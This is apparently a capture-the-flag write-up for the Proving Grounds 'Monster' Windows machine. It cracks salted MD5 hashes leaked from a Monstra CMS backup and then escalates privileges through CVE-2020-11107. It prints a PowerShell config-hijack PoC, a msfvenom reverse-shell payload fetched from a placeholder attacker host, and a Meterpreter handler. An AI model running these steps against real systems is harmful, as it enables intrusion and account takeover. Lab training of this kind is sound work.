Skip to content

Monster Writeup - Proving Grounds

Easy Windows

Created October 8, 2026 • Last updated October 8, 2026 • 5 min read

Monster runs the Monstra CMS behind a virtual host. A password guessed from a hint on the static homepage unlocks the CMS admin panel, whose backup feature leaks a database export with salted MD5 password hashes. Cracking the second account's hash gives RDP access, and a writable XAMPP configuration file lets that account hijack a trusted executable path, turning CVE-2020-11107 into a shell as Administrator.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV $TARGET_IP
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-title: Mike Wazowski
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
443/tcp  open  ssl/http      Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-title: Mike Wazowski
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: MIKE-PC
|   NetBIOS_Computer_Name: MIKE-PC
|_  DNS_Computer_Name: Mike-PC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
-sC Run the default Nmap script set.
-sV Probe open ports for service/version info.

Two web servers on 80 and 443, plus RDP on 3389. Both HTTP titles read Mike Wazowski. The web server is the only remote attack surface, so fuzz it for hidden paths.

Directory discovery

Brute force directories on port 80.

┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET_IP/FUZZ -t 500 -fc 403,404
blog                    [Status: 301, Size: 342, Words: 22, Lines: 10]
assets                  [Status: 301, Size: 344, Words: 22, Lines: 10]
Explain command
-fc Filter out these HTTP status codes from the results.

A /blog path exists, but it fails to load assets correctly. The browser console shows a failed request for a script on the domain monster.pg, so the app expects that virtual host name. Add it to /etc/hosts and reload.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP monster.pg" | sudo tee -a /etc/hosts

With the vhost resolving, /blog now renders correctly and its footer reads Powered by Monstra 3.0.4.

Searchsploit

Check ExploitDB for known Monstra 3.0.4 issues.

┌──(kali㉿kali)-[~]
└─$ searchsploit Monstra 3.0.4
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution | php/webapps/43348.txt
Monstra CMS 3.0.4 - Arbitrary Folder Deletion                                     | php/webapps/44512.txt
Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload                           | php/webapps/48479.txt
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)                         | php/webapps/49949.py

Every result needs authentication first, so the admin panel at /blog/admin/ is the gate to all of them.

Exploitation

Guessing the admin password

The static homepage names Mike Wazowski. Guessing that same name as the admin account's password succeeds (admin:$ADMIN_PASSWORD), landing on the CMS dashboard.

File upload attempts fail

With admin access, both the EDB-ID 49949 authenticated RCE script and the manual 43348 webshell-upload steps are blocked: the attachments and file manager directories reject every extension tried, including .php7, .pht, .phar, and even plain .txt. The upload paths are not writable the way the public exploits expect, so pivot to the panel's other features.

Leaking hashes through the backup feature

The admin panel exposes a backup manager at /blog/admin/index.php?id=backup. Creating a new backup and downloading it gives a full copy of the site, including its data files.

┌──(kali㉿kali)-[~]
└─$ unzip 2022-02-24-03-08-59.zip -d backup
┌──(kali㉿kali)-[~]
└─$ grep -Rl password backup/C:
backup/C:/xampp/htdocs/blog/storage/database/users.table.xml

The database export is a plain XML dump. Read the users table directly.

┌──(kali㉿kali)-[~]
└─$ xmllint --format backup/C:/xampp/htdocs/blog/storage/database/users.table.xml
<users>
  <id>1</id>
  <login>admin</login>
  <password>a2b4e80cd640aaa6e417febe095dcbfc</password>
  <email>wazowski@monster.pg</email>
  <role>admin</role>
</users>
<users>
  <id>2</id>
  <login>mike</login>
  <password>844ffc2c7150b93c4133a6ff2e1a2dba</password>
  <email>mike@monster.pg</email>
  <role>user</role>
</users>

Two password hashes, for admin and mike. hash-identifier only narrows it down to "probably MD5", so use mdxfind (a hash-format brute forcer) against the known admin password to work out the exact construction. A public writeup on this CMS suggests the salt defaults to the literal string YOUR_SALT_HERE when never configured.

┌──(kali㉿kali)-[~]
└─$ echo "YOUR_SALT_HERE" > salt.txt
┌──(kali㉿kali)-[~]
└─$ echo "$ADMIN_PASSWORD" > pass.txt
┌──(kali㉿kali)-[~]
└─$ echo "a2b4e80cd640aaa6e417febe095dcbfc" | ./mdxfind -h 'MD5' -s salt.txt pass.txt -i 5
MD5PASSSALTx02 a2b4e80cd640aaa6e417febe095dcbfc:YOUR_SALT_HERE:$ADMIN_PASSWORD
1 MD5PASSSALTx02 hashes found

Confirmed: two rounds of salted MD5 with that default salt. Run the same format against mike's hash using rockyou.

┌──(kali㉿kali)-[~]
└─$ echo "844ffc2c7150b93c4133a6ff2e1a2dba" | ./mdxfind -h 'MD5PASSSALT' -s salt.txt /usr/share/wordlists/rockyou.txt -i 2
MD5PASSSALTx02 844ffc2c7150b93c4133a6ff2e1a2dba:YOUR_SALT_HERE:$MIKE_PASSWORD
1 MD5PASSSALTx02 hashes found

Mike's password cracks quickly. Try it over RDP.

RDP as mike

┌──(kali㉿kali)-[~]
└─$ xfreerdp /cert-ignore /u:mike /p:$MIKE_PASSWORD /v:$TARGET_IP
Explain command
/cert-ignore Skip the RDP certificate trust prompt.

RDP access as mike. Enumerate installed software for a privilege escalation path.

Privilege Escalation

XAMPP configuration hijack (CVE-2020-11107)

XAMPP runs out of C:\xampp. Its properties.ini pins the exact release.

PS C:\Users\Guest\Desktop> type C:\xampp\properties.ini
base_stack_name=XAMPP
base_stack_version=7.3.10-1
base_stack_platform=windows-x64

XAMPP 7.3.10 falls inside the range affected by CVE-2020-11107, a local privilege escalation where the XAMPP Control Panel reads an attacker-controllable path out of xampp-control.ini and launches it with whatever privileges the user who opens the panel has. The public PoC rewrites that path with PowerShell.

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\Users\Mike\Downloads\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Build a Meterpreter payload, serve it, and pull it down through the RDP session into mike's Downloads folder.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT -f exe -o msf.exe
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Saved as: msf.exe
Serving HTTP on 0.0.0.0 port 80 ...
PS C:\Users\Guest\Desktop> iwr http://$ATTACKER_IP/msf.exe -OutFile C:\Users\Mike\Downloads\msf.exe

Start a handler, then run the PowerShell snippet above to point xampp-control.ini at the downloaded payload. The next time the Administrator opens the XAMPP Control Panel, it launches the payload instead of the real target.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost $ATTACKER_IP; set lport $ATTACKER_PORT; run"
[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
[*] Sending stage (175174 bytes) to $TARGET_IP
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: MIKE-PC\Administrator

The Administrator's own control panel click triggers the hijacked config, handing back a Meterpreter session as MIKE-PC\Administrator.

References